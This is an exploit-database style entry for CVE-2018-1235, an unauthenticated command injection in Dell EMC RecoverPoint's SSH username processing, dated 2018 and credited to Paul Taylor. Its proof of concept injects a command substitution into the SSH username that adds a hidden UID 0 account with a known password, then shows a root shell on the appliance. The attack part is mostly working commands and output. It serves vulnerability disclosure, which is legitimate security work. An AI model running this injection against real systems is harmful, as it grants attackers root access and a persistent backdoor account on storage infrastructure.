Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution

# Exploit Title: Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution
# Date: 2018-06-21
# Version: All versions before RP 5.1.2, and all versions before RP4VMs 5.1.1.3
# Exploit Author: Paul Taylor
# Vendor Advisory: DSA-2018-095
# Vendor KB: https://support.emc.com/kb/521234
# Github: https://github.com/bao7uo/dell-emc_recoverpoint
# Website: https://www.foregenix.com/blog/foregenix-identify-multiple-dellemc-recoverpoint-zero-day-vulnerabilities
# Tested on: RP4VMs 5.1.1.2, RP 5.1.SP1.P2
# CVE: CVE-2018-1235
 
# 1. Description
# An OS command injection vulnerability exists in the mechanism which processes usernames 
# which are presented for authentication, allowing unauthenticated root access via 
# the ssh service.
 
# 2. Proof of Concept
# Inject into ssh username.
# N.B. combined length of new username+password is limited to 21 due to injection length limitations

$ ssh '$(useradd -ou0 -g0 bao7uo -p`openssl passwd -1 Secret123`)'@192.168.57.3
Password: ^C
$ ssh [email protected]
Password: Secret123
Could not chdir to home directory /home/bao7uo: No such file or directory
root@recoverpoint:/# id
uid=0(root) gid=0(root) groups=0(root)
root@recoverpoint:/#